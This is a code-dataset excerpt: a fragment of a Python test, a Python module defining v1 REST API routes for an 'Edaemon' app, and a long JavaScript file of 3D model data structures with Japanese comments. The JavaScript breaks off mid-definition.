self.assertRaises(ValueError): inner(message0)
raphael-boucher/channels
channels/tests/test_sessions.py
Python
bsd-3-clause
7,359
# coding: utf-8 from .changes import AllChanges, SpecificChange, ChangesForClass, ChangesForDate from .trash import TrashHandler from ..handler import BaseHandler class ApiVersionWelcome(BaseHandler): def get(self): self.jsonify( success=True, message='Edaemon v1 API welcomes you', version=1, method_map={ 'changes.all': '/api/v1/changes', 'changes.one': '/api/v1/changes/<id>', 'changes.for_date': '/api/v1/changes/for_date/<date>', 'changes.for_class': '/api/v1/changes/for_class/<class>', 'trash': '/api/v1/trash' } ) v1_routes = [ (r'/api/v1/', ApiVersionWelcome), (r'/api/v1/changes', AllChanges), (r'/api/v1/changes/([0-9A-Za-z\-_]+)', SpecificChange), (r'/api/v1/changes/for_date/([0-9]{4}-[0-9]{2}-[0-9]{2})', ChangesForDate), (r'/api/v1/changes/for_class/([0-9A-Za-z\.]+)', ChangesForClass), (r'/api/v1/trash', TrashHandler), ]
paulsnar/edaemon
application/api/routes/v1/__init__.py
Python
bsd-3-clause
1,027
/** * @license * * Copyright (c) 2016, Syuuhei Kuno * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of xplain_for_js nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ (function (xpl) { "use strict"; /** * xModelのインスタンスを判別するための識別子カウンタ * * @private * @memberof xpl.XModelStructure * @member {xpl.uint32_t} identifier_counter */ var identifier_counter = 1; /** * xModelの基礎構造です。 * * @constructor * @param {xpl.uint32_t} structure_type - 構造種別 */ xpl.XModelStructure = function (structure_type) { /** * uint32_t : 構造種別 * * @memberof xpl.XModelStructure * @const {xpl.uint32_t} structure_type */ this.structure_type = structure_type; /** * uint32_t : 識別子 * * @instance * @memberof xpl.XModelStructure * @const {xpl.uint32_t} identifier */ var identifier = identifier_counter++; /** * 識別子を取得します。 * * @instance * @memberof xpl.XModelStructure * @returns {xpl.uint32_t} 識別子 */ this.valueOf = function () { return identifier; }; /** * ハッシュ値を取得します。 * * @instance * @memberof xpl.XModelStructure * @returns {xpl.uint32_t} ハッシュ値 */ this.hashCode = function () { return identifier; }; }; /** * この構造と引数で指定する構造が同じものかを調べます。 * * @instance * @param {xpl.XModelStructure} other - 指定の構造 * @returns {boolean} 同じ構造かどうか */ xpl.XModelStructure.prototype.equals = function (other) { return this === other; }; Object.defineProperties(xpl.XModelStructure, { /** * 未定義の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_UNDEFINED */ TYPE_UNDEFINED: {value: -1}, /** * 空の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_NULL */ TYPE_NULL: {value: 0}, /** * RGBの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_RGB */ TYPE_RGB: {value: 16}, /** * RGBAの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_RBGA */ TYPE_RGBA: {value: 17}, /** * 軸回転の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_AXIS_ROTATE */ TYPE_AXIS_ROTATE: {value: 1}, /** * 四元数の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_QUATERNION */ TYPE_QUATERNION: {value: 2}, /** * 拡大の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_SCALE */ TYPE_SCALE: {value: 3}, /** * 平行移動の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_TRANSLATE */ TYPE_TRANSLATE: {value: 4}, /** * 行列の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_MATRIX */ TYPE_MATRIX: {value: 5}, /** * コンテナの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_CONTAINER */ TYPE_CONTAINER: {value: 6}, /** * テクスチャの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_TEXTURE */ TYPE_TEXTURE: {value: 7}, /** * 材質の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_MATERIAL */ TYPE_MATERIAL: {value: 8}, /** * メッシュの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_MESH */ TYPE_MESH: {value: 9}, /** * サブメッシュの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum} TYPE_SUB_MESH */ TYPE_SUB_MESH: {value: 15}, /** * ノードの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_NODE */ TYPE_NODE: {value: 10}, /** * 逆運動学の構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_IK */ TYPE_IK: {value: 11}, /** * アニメーションの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_ANIMATION */ TYPE_ANIMATION: {value: 12}, /** * アニメーションキーの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_ANIMATION_KEY */ TYPE_ANIMATION_KEY: {value: 13}, /** * アニメーションセットの構造種別 * * @memberof xpl.XModelStructure * @const {xpl.enum_t} TYPE_ANIMATION_SET */ TYPE_ANIMATION_SET: {value: 14}, /** * シングルパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_SINGLE */ SIZE_SINGLE: {value: 1}, /** * RGBのパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_RGB */ SIZE_RGB: {value: 3}, /** * RGBAのパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_RGBA */ SIZE_RGBA: {value: 4}, /** * 3次元ベクトルのパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_VECTOR_3 */ SIZE_VECTOR_3: {value: 3}, /** * 軸回転のパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_AXIS_ROTATE */ SIZE_AXIS_ROTATE: {value: 4}, /** * 四元数のパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_QUATERNION */ SIZE_QUATERNION: {value: 4}, /** * 拡大のパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_SCALE */ SIZE_SCALE: {value: 3}, /** * 平行移動のパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_TRANSLATE */ SIZE_TRANSLATE: {value: 3}, /** * 行列のパラメータのサイズ * * @memberof xpl.XModelStructure * @const {xpl.size_t} SIZE_MATRIX */ SIZE_MATRIX: {value: 16}, /** * ブレンドのためのスロットの数 * * @memberof xpl.XModelStructure * @const {xpl.size_t} NUM_BLEND_SLOT */ NUM_BLEND_SLOT: {value: 4} }); })(xpl); (function (xpl) { "use strict"; /** * ユーザ定義のデータ構造です。 * * @constructor */ xpl.XModelUserData = function () { /** * uint32_t : データサイズ * * @instance * @memberof xpl.XModelUserData * @member {xpl.uint32_t} data_size */ this.data_size = 0; /** * uint8_t[data_size] : データ * * @instance * @memberof xpl.XModelUserData * @member {Uint8Array} data */ this.data = null; }; })(xpl); (function (xpl) { "use strict"; /** * パラメータを格納するための基礎構造です。 * * @constructor * @augments xpl.XModelStructure * @param {xpl.uint32_t} structure_type - 構造種別 */ xpl.XModelParameter = function (structure_type) { xpl.XModelStructure.call(this, structure_type); }; Object.setPrototypeOf(xpl.XModelParameter.prototype, xpl.XModelStructure.prototype); })(xpl); (function (xpl) { "use strict"; /** * 32ビットの浮動小数点数型の配列構造です。 * * @constructor * @augments xpl.XModelParameter * @param {xpl.uint32_t} structure_type - 構造種別 * @param {xpl.size_t} size - 配列のサイズ */ xpl.XModelFloat32Array = function (structure_type, size) { xpl.XModelStructure.call(this, structure_type); /** * 値の配列のサイズ * * @instanceof * @memberof xpl.XModelFloat32Array * @member {xpl.size_t} size */ this.size = size; /** * float32_t[size * (NUM_BLEND_SLOT + 1)] : 値の配列 * * @instanceof * @memberof xpl.XModelFloat32Array * @member {Float32Array} values */ this.values = new Float32Array(size * (xpl.XModelStructure.NUM_BLEND_SLOT + 1)); }; Object.setPrototypeOf(xpl.XModelFloat32Array.prototype, xpl.XModelParameter.prototype); })(xpl); (function (xpl) { "use strict"; /** * 軸回転の変換構造です。 * * @constructor * @augments xpl.XModelFloat32Array */ xpl.XModelAxisRotate = function () { xpl.XModelFloat32Array.call(this, xpl.XModelStructure.TYPE_AXIS_ROTATE, xpl.XModelStructure.SIZE_AXIS_ROTATE); }; Object.setPrototypeOf(xpl.XModelAxisRotate.prototype, xpl.XModelFloat32Array.prototype); Object.defineProperties(xpl.XModelStructure, { /** * 軸ベクトルのX要素 * * @memberof xpl.XModelAxisRotate * @const {xpl.enum_t} X */ X: {value: 0}, /** * 軸ベクトルのY要素 * * @memberof xpl.XModelAxisRotate * @const {xpl.enum_t} Y */ Y: {value: 1}, /** * 軸ベクトルのZ要素 * * @memberof xpl.XModelAxisRotate * @const {xpl.enum_t} Z */ Z: {value: 2}, /** * 回転角度 * * @memberof xpl.XModelAxisRotate * @const {xpl.enum_t} ANGLE */ ANGLE: {value: 3}, /** * 配列のサイズ * * @memberof xpl.XModelAxisRotate * @const {xpl.size_t} SIZE */ SIZE: {value: 4} }); })(xpl); (function (xpl) { "use strict"; /** * 四元数の変換構造です。 * * @constructor * @augments xpl.XModelFloat32Array */ xpl.XModelQuaternion = function () { xpl.XModelFloat32Array.call(this, xpl.XModelStructure.TYPE_QUATERNION, xpl.XModelStructure.SIZE_QUATERNION); }; Object.setPrototypeOf(xpl.XModelQuaternion.prototype, xpl.XModelFloat32Array.prototype); })(xpl); (function (ns) { "use strict"; /** * 拡大の変換構造です。 * * @constructor * @augments xpl.XModelFloat32Array */ ns.XModelScale = function () { ns.XModelFloat32Array.call(this, ns.XModelStructure.TYPE_SCALE, xpl.XModelStructure.SIZE_SCALE); }; Object.setPrototypeOf(ns.XModelScale.prototype, ns.XModelFloat32Array.prototype); })(xpl); (function (xpl) { "use strict"; /** * 平行移動の変換構造です。 * * @constructor * @augments xpl.XModelFloat32Array */ xpl.XModelTranslate = function () { xpl.XModelFloat32Array.call(this, xpl.XModelStructure.TYPE_TRANSLATE, xpl.XModelStructure.SIZE_TRANSLATE); }; Object.setPrototypeOf(xpl.XModelTranslate.prototype, xpl.XModelFloat32Array.prototype); })(xpl); (function (xpl) { "use strict"; /** * 行列の変換構造です。 * * @class * @alias xpl.XModelMatrix * @augments xpl.XModelFloat32Array */ xpl.XModelMatrix = function () { xpl.XModelFloat32Array.call(this, xpl.XModelStructure.TYPE_MATRIX, xpl.XModelStructure.SIZE_MATRIX); }; Object.setPrototypeOf(xpl.XModelMatrix.prototype, xpl.XModelFloat32Array.prototype); })(xpl); (function (xpl) { "use strict"; /** * 拡張可能な構造です。 * * @constructor * @augments xpl.XModelStructure * @param {xpl.uint32_t} structure_type - 構造種別 */ xpl.XModelExtensible = function (structure_type) { xpl.XModelStructure.call(this, structure_type); /** * XModelUserData : ユーザ定義のデータ * * @instance * @memberof xpl.XModelExtensible * @member {xpl.XModelUserData} user_data */ this.user_data = null; // 作業変数 /** * void* : ユーザ定義のオブジェクト * * @instance * @memberof xpl.XModelExtensible * @member {Object} user_object */ this.user_object = null }; Object.setPrototypeOf(xpl.XModelExtensible.prototype, xpl.XModelStructure.prototype); })(xpl); (function (ns) { "use strict"; /** * コンテナの構造です。 * * @constructor * @augments xpl.XModelExtensible */ ns.XModelContainer = function () { ns.XModelExtensible.call(this, ns.XModelStructure.TYPE_CONTAINER); /** * string : 名前 * * @instance * @memberof xpl.XModelContainer * @member {string} name */ this.name = null; /** * uint16_t : テクスチャの数 * * @instance * @memberof xpl.XModelContainer * @member {xpl.uint16_t} num_textures */ this.num_textures = 0; /** * XModelTexture[num_textures] : テクスチャの配列 * * @instance * @memberof xpl.XModelContainer * @member {xpl.XModelTexture[]} textures */ this.textures = null; /** * uint16_t : 材質の数 * * @instance * @memberof xpl.XModelContainer * @member {xpl.uint16_t} num_materials */ this.num_materials = 0; /** * XModelMaterial[num_materials] : 材質の配列 * * @instance * @memberof xpl.XModelContainer * @member {xpl.XModelMaterial[]} materials */ this.materials = null; /** * uint16_t : メッシュの数 * * @instance * @memberof xpl.XModelContainer * @member {xpl.uint16_t} num_meshes */ this.num_meshes = 0; /** * XModelMesh[num_meshes] : メッシュの配列 * * @instance * @memberof xpl.XModelContainer * @member {xpl.XModelMesh[]} meths */ this.meshes = null; /** * uint16_t : ノードの数 * * @instance * @memberof xpl.XModelContainer * @member {xpl.uint16_t} num_nodes */ this.num_nodes = 0; /** * XModelNode[num_nodes] : ノードの配列 * * @instance * @memberof xpl.XModelContainer * @member {xpl.XModelNode[]} node */ this.nodes = null; /** * float64_t : 秒間比 * * @instance * @memberof xpl.XModelContainer * @member {xpl.float64_t} time_rate */ this.time_rate = 1.0; /** * uint16_t : アニメーションセットの数 * * @instance * @memberof xpl.XModelContainer * @member {xpl.uint16_t} num_animation_sets */ this.num_animation_sets = 0; /** * XModelAnimationSet[num_animation_sets] : アニメーションセットの配列 * * @instance * @memberof xpl.XModelContainer * @member {xpl.XModelAnimationSet[]} animation_sets */ this.animation_sets = null; }; Object.setPrototypeOf(ns.XModelContainer.prototype, ns.XModelExtensible.prototype); /** * コンテナの名前を取得します。 * * @instance * @returns {string} The name of this container. */ ns.XModelContainer.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * テクスチャの構造です。 * * @constructor * @augments xpl.XModelExtensible */ xpl.XModelTexture = function () { xpl.XModelExtensible.call(this, xpl.XModelStructure.TYPE_TEXTURE); /** * string : 名前 * * @instance * @memberof xpl.XModelTexture * @member {string} name */ this.name = null; /** * string : 参照名 * * @instance * @memberof xpl.XModelTexture * @member {string} ref */ this.ref = null; /** * uint32_t : バイナリデータのサイズ * * @instance * @memberof xpl.XModelTexture * @member {xpl.uint32_t} data_size */ this.data_size = 0; /** * uint8_t[data_size] : バイナリデータ * * @instance * @memberof xpl.XModelTexture * @member {Uint8Array} data */ this.data = null; // 作業変数 /** * Object : インスタンス * * @instance * @memberof xpl.XModelTexture * @member {Object} texture */ this.texture = null; /** * uint32_t : X軸のサイズ * * @instance * @memberof xpl.XModelTexture * @member {xpl.uint32_t} x_size */ this.x_size = 0; /** * uint32_t : Y軸のサイズ * * @instance * @memberof xpl.XModelTexture * @member {xpl.uint32_t} y_size */ this.y_size = 0; /** * uint32_t : Z軸のサイズ * * @instance * @memberof xpl.XModelTexture * @member {xpl.uint32_t} z_size */ this.z_size = 0; }; Object.setPrototypeOf(xpl.XModelTexture.prototype, xpl.XModelExtensible.prototype); /** * この構造と引数で指定する構造が同じものかを調べます。 * * @instance * @param {xpl.XModelStructure} other - 指定の構造 * @returns {boolean} 同じ構造かどうか */ xpl.XModelTexture.prototype.equals = function (other) { }; /** * テクスチャの名前を取得します。 * * @instance * @returns {string} テクスチャ名 */ xpl.XModelTexture.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * 材質の構造です。 * * @class * @alias xpl.XModelMaterial * @augments xpl.XModelExtensible */ xpl.XModelMaterial = function () { xpl.XModelExtensible.call(this, xpl.XModelStructure.TYPE_MATERIAL); /** * string : 名前 * * @instance * @memberof xpl.XModelMaterial * @member {string} name */ this.name = null; /** * float32_t[SIZE_RGBA] : 発光色 * * @instance * @memberof xpl.XModelMaterial * @member {Float32Array} emissive */ this.emissive = [0.0, 0.0, 0.0, 1.0]; /** * float32_t[SIZE_RGBA] : 環境光の反射色 * * @instance * @memberof xpl.XModelMaterial * @member {Float32Array} ambient */ this.ambient = [0.1, 0.1, 0.1, 1.0]; /** * float32_t[SIZE_RGBA] : 拡散反射の色 * * @instance * @memberof xpl.XModelMaterial * @member {Float32Array} diffuse */ this.diffuse = [1.0, 1.0, 1.0, 1.0]; /** * float32_t[SIZE_RGBA] : 鏡面反射の色 * * @instance * @memberof xpl.XModelMaterial * @member {Float32Array} specular */ this.specular = [0.4, 0.4, 0.4, 1.0]; /** * float32_t : 鏡面反射の度合 * * @instance * @memberof xpl.XModelMaterial * @member {xpl.float32_t} shininess */ this.shininess = 5.0; /** * float32_t : バンプマップの度合 * * @instance * @memberof xpl.XModelMaterial * @member {xpl.float32_t} bump */ this.bump = 1.0; /** * XModelTexture : 発行色のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture} emissive_map */ this.emissive_map = null; /** * XModelTexture : 環境光の反射色のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture} ambient_map */ this.ambient_map = null; /** * XModelTexture : 拡散反射の色のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture} diffuse_map */ this.diffuse_map = null; /** * XModelTexture : 鏡面反射の色のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture}specular_map */ this.specular_map = null; /** * XModelTexture : 鏡面反射の度合のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture} shininess_map */ this.shininess_map = null; /** * XModelTexture : バンプマップの度合のテクスチャマップ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.XModelTexture} bump_map */ this.bump_map = null; /** * uint32_t : 描画モードのフラグ * * @instance * @memberof xpl.XModelMaterial * @member {xpl.uint32_t} draw_mode */ this.draw_mode = xpl.XModelMaterial.DRAW_MODE_FACE_FRONT_BITS; }; Object.setPrototypeOf(xpl.XModelMaterial.prototype, xpl.XModelExtensible.prototype); Object.defineProperties(xpl.XModelMaterial, { /** * 描画なしの描画モード * * @memberof xpl.XModelMaterial * @const {xpl.uint32_t} DRAW_MODE_FACE_NONE_BITS */ DRAW_MODE_FACE_NONE_BITS: {value: 0}, /** * 表面描画のモード * * @memberof xpl.XModelMaterial * @const {xpl.uint32_t} DRAW_MODE_FACE_FRONT_BITS */ DRAW_MODE_FACE_FRONT_BITS: {value: 0x1 << 0}, /** * 裏面描画の描画モード * * @memberof xpl.XModelMaterial * @const {xpl.uint32_t} DRAW_MODE_FACE_BACK_BITS */ DRAW_MODE_FACE_BACK_BITS: {value: 0x1 << 1}, /** * 両面描画の描画モード * * @memberof xpl.XModelMaterial * @const {xpl.uint32_t} DRAW_MODE_FACE_FRONT_AND_BACK_BITS */ DRAW_MODE_FACE_FRONT_AND_BACK_BITS: { value: xpl.XModelMaterial.DRAW_MODE_FACE_FRONT_BITS | xpl.XModelMaterial.DRAW_MODE_FACE_BACK_BITS } }); /** * マテリアルの名前を取得します。 * * @instance * @returns {string} マテリアル名 */ xpl.XModelMaterial.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * メッシュの基礎構造です。 * * @constructor * @augments xpl.XModelStructure * @param {xpl.uint32_t} structure_type - 構造種別 */ xpl.XModelMeshBase = function (structure_type) { xpl.XModelExtensible.call(this, structure_type); // 作業変数 /** * void* : 頂点バッファのオブジェクト * * @instance * @memberof xpl.XModelMesh * @member {Object} vertex_buffer */ this.vertex_buffer = null; /** * void* : 頂点配列のオブジェクト * * @instance * @memberof xpl.XModelMesh * @member {Object} vertex_array. */ this.vertex_array = null; /** * void* : 要素バッファのオブジェクト * * @instance * @memberof xpl.XModelMesh * @member {Object} element_buffer */ this.element_buffer = null; }; Object.setPrototypeOf(xpl.XModelMeshBase.prototype, xpl.XModelExtensible.prototype); })(xpl); (function (xpl) { "use strict"; /** * メッシュ構造です。 * * @constructor * @augments xpl.XModelMeshBase */ xpl.XModelMesh = function () { xpl.XModelMeshBase.call(this, xpl.XModelStructure.TYPE_MESH); /** * string : 名前 * * @instance * @memberof xpl.XModelMesh * @member {string} name */ this.name = null; /** * uint32_t : 位置の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_positions */ this.num_positions = 0; /** * uint8_t : 位置のサイズ * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint8_t} position_size */ this.position_size = 0; /** * float32_t[position_size * num_positions] : 位置の配列 * * @instance * @memberof xpl.XModelMesh * @member {Float32Array} positions */ this.positions = null; /** * uint32_t : 法線の配列 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_normals */ this.num_normals = 0; /** * uint8_t : 法線のサイズ * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint8_t} normal_size */ this.normal_size = 0; /** * float32_t[normal_size * num_normals] : 法線の配列 * * @instance * @memberof xpl.XModelMesh * @member {Float32Array} normals */ this.normals = null; /** * uint32_t : 色の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_colors */ this.num_colors = 0; /** * uint8_t : 色のサイズ * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint8_t} color_size */ this.color_size = 0; /** * float32_t[color_size * num_colors] : 色の配列 * * @instance * @memberof xpl.XModelMesh * @member {Float32Array} colors */ this.colors = null; /** * uint32_t : テクスチャ座標の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_tex_coords */ this.num_tex_coords = 0; /** * uint8_t : テクスチャ座標のサイズ * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint8_t} tex_coord_size */ this.tex_coord_size = 0; /** * float32_t[tex_coord_size * num_tex_coords] : テクスチャ座標の配列 * * @instance * @memberof xpl.XModelMesh * @member {Float32Array} tex_coords */ this.tex_coords = null; /** * XModelSkin : スキン構造 * * @instance * @memberof xpl.XModelMesh * @member {xpl.XModelSkin} skin */ this.skin = null; /** * uint32_t : 頂点の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_vertices */ this.num_vertices = 0; /** * XModelVertex[num_vertices] : 頂点の配列 * * @instance * @memberof xpl.XModelMesh * @member {xpl.XModelVertex[]} vertices */ this.vertices = null; /** * uint16_t : 材質の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint16_t} num_materials */ this.num_materials = 0; /** * XModelMaterial[num_materials] : 材質の配列 * * @instance * @memberof xpl.XModelMesh * @member {xpl.XModelMaterial[]} materials */ this.materials = null; /** * uint32_t : 要素の数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.uint32_t} num_elements */ this.num_elements = 0; /** * XModelElement[num_elements] : 要素の配列 * * @instance * @memberof xpl.XModelMesh * @member {xpl.XModelElement[]} elements */ this.elements = null; /** * int16_t : サブセットの数 * * @instance * @memberof xpl.XModelMesh * @member {xpl.int16_t} num_subset */ this.num_subsets = 0; /** * XModelMeshSubset[num_subset] : サブセットの配列 * * @instance * @memberof xpl.XModelMesh * @member {XModelMeshSubset[]} subset */ this.subsets = null; // 作業変数 /** * XModelNode : 親のノード * * @instance * @memberof xpl.XModelMesh * @member {xpl.XModelNode} parent */ this.parent = null; // 弱参照 }; Object.setPrototypeOf(xpl.XModelMesh.prototype, xpl.XModelMeshBase.prototype); Object.defineProperties(xpl.XModelMesh, { /** * 位置の型 * * @memberof xpl.XModelMesh * @const {xpl.enum_t} TYPE_POSITION */ TYPE_POSITION: {value: 0}, /** * 法線の型 * * @memberof xpl.XModelMesh * @const {xpl.enum_t} TYPE_NORMAL */ TYPE_NORMAL: {value: 1} }); /** * メッシュの名前を取得します。 * * @instance * @returns {string} メッシュ名 */ xpl.XModelMesh.prototype.toString = function () { return this.name; }; })(xpl); (function (xpl) { "use strict"; /** * サブメッシュの構造です。 * * @constructor * @augments xpl.XModelMeshBase */ xpl.XModelMeshSubset = function () { xpl.XModelMeshBase.call(this, xpl.XModelStructure.TYPE_SUB_MESH); /** * uint32_t : ボーンのインデックスの数 * * @instance * @memberof xpl.XModelMeshSubset * @member {xpl.uint32_t} num_bones */ this.num_bones = 0; /** * uint32_t[num_bones] : ボーンのインデックスの配列 * * @instance * @memberof xpl.XModelMeshSubset * @member {Uint16Array} bones */ this.bones = null; /** * uint32_t : 頂点のインデックスの数 * * @instance * @memberof xpl.XModelMeshSubset * @member {xpl.uint32_t} num_vertices */ this.num_vertices = 0; /** * uint32_t[num_vertices] : 頂点のインデクスの配列 * * @instance * @memberof xpl.XModelMeshSubset * @member {Uint32Array} vertices */ this.vertices = null; /** * uint32_t : 要素の数 * * @instance * @memberof xpl.XModelMeshSubset * @member {xpl.uint32_t} num_elements */ this.num_elements = 0; /** * XModelElement[num_elements] : 要素の配列 * * @instance * @memberof xpl.XModelMeshSubset * @member {xpl.XModelElement} elements */ this.elements = null; }; Object.setPrototypeOf(xpl.XModelMesh.prototype, xpl.XModelMeshBase.prototype); })(xpl); (function (ns) { "use strict"; /** * スキンの構造です。 * * @constructor */ ns.XModelSkin = function () { /** * uint32_t : 重み付きインデックスの数 * * @instance * @memberof xpl.XModelSkin * @member {xpl.uint32_t} num_weighted_indices */ this.num_weighted_indices = 0; /** * uint8_t : 重み付きインデックスの要素のサイズ * * @instance * @memberof xpl.XModelSkin * @member {xpl.uint8_t} weighted_index_stride */ this.weighted_index_stride = 0; /** * uint8_t[num_weighted_indices] : 重み付きインデックスのサイズの配列 * * @instance * @memberof xpl.XModelSkin * @member {Uint8Array} weighted_index_sizes */ this.weighted_index_sizes = null; /** * uint16_t[num_weighted_indices * weighted_index_stride] : インデックスの配列 * * @instance * @memberof xpl.XModelSkin * @member {Int16Array} indices */ this.indices = null; /** * float32_t[num_weighted_indices * weighted_index_stride] : 重みの配列 * * @instance * @memberof xpl.XModelSkin * @member {Float32Array} weights */ this.weights = null; /** * uint16_t : ボーンとなるノードの数 * * @instance * @memberof xpl.XModelSkin * @member {xpl.uint16_t} num_nodes */ this.num_nodes = 0; /** * XModelNodes[num_nodes] : ボーンとなるノードの配列 * * @instance * @memberof xpl.XModelSkin * @member {xpl.XModelNode[]} nodes */ this.nodes = null; // 弱参照 /** * float32_t[SIZE_MATRIX * num_nodes] : オフセット行列の配列 * * @instance * @memberof xpl.XModelSkin * @member {Float32Array} offset_matrices */ this.offset_matrices = null; }; })(xpl); (function (xpl) { "use strict"; /** * 頂点の構造です。 * * @constructor */ xpl.XModelVertex = function () { /** * uint32_t : 位置のインデックス * * @instance * @memberof xpl.XModelVertex * @member {xpl.uint32_t} position */ this.position = -1; /** * uint32_t : 法線のインデックス * * @instance * @memberof xpl.XModelVertex * @member {xpl.uint32_t} normal */ this.normal = -1; /** * uint32_t : 色のインデックス * * @instance * @memberof xpl.XModelVertex * @member {xpl.uint32_t} color */ this.color = -1; /** * uint32_t : テクスチャ座標のインデックス * * @instance * @memberof xpl.XModelVertex * @member {xpl.uint32_t} tex_coord */ this.tex_coord = -1; /** * uint32_t : スキンウェイトのインデックス * * @instance * @memberof xpl.XModelVertex * @member {xpl.uint32_t} skin_weight */ this.skinning = -1; }; /** * ハッシュ値を取得します。 * * @instance * @returns {xpl.uint32_t} ハッシュ値 */ xpl.XModelVertex.prototype.hashCode = function () { return this.position ^ this.normal ^ this.color ^ this.tex_coord ^ this.skinning; }; /** * この構造と引数で指定する構造が同じものかを調べます。 * * @instance * @param {xpl.XModelVertex} other - 指定の構造 * @returns {boolean} 同じ構造かどうか */ xpl.XModelVertex.prototype.equals = function (other) { if (this === other) { return true; } if (other != null && other instanceof xpl.XModelVertex) { return this.position == other.position && this.normal == other.normal && this.color == other.color && this.tex_coord == other.tex_coord && this.skinning == other.skinning; } return false; }; })(xpl); (function (xpl) { "use strict"; /** * 要素の構造です。 * * @constructor */ xpl.XModelElement = function () { /** * uint16_t : 材質のインデックス * * @instance * @memberof xpl.XModelElement * @member {xpl.uint16_t} material */ this.material = -1; /** * uint8_t : 頂点のインデックスの数 * * @instance * @memberof xpl.XModelElement * @member {xpl.uint8_t} num_vertices */ this.num_vertices = 0; /** * uint32_t[num_vertices] : 頂点のインデックスの配列 * * @instance * @memberof xpl.XModelElement * @member {Uint32Array} vertices */ this.vertices = null; }; /** * ハッシュ値を取得します。 * * @instance * @returns {xpl.uint32_t} ハッシュ値 */ xpl.XModelElement.prototype.hashCode = function () { var hash_code = this.material ^ this.num_vertices; for (var i = 0; i < this.num_vertices; ++i) { hash_code ^= this.vertices[i]; } return hash_code; }; /** * この構造と引数で指定する構造が同じものかを調べます。 * * @instance * @param {xpl.XModelElement} other - 指定の構造 * @returns {boolean} 同じ構造かどうか */ xpl.XModelElement.prototype.equals = function (other) { if (this === other) { return true; } if (other instanceof xpl.XModelElement && this.material == other.material && this.num_vertices == other.num_vertices) { for (let i = 0; i < this.vertices; ++i) { if (this.vertices[i] == null || !this.vertices[i].equals(other.vertices[i])) { return false; } } return true; } return false; }; })(xpl); (function (xpl) { "use strict"; /** * ノードの構造です。 * * @constructor * @augments 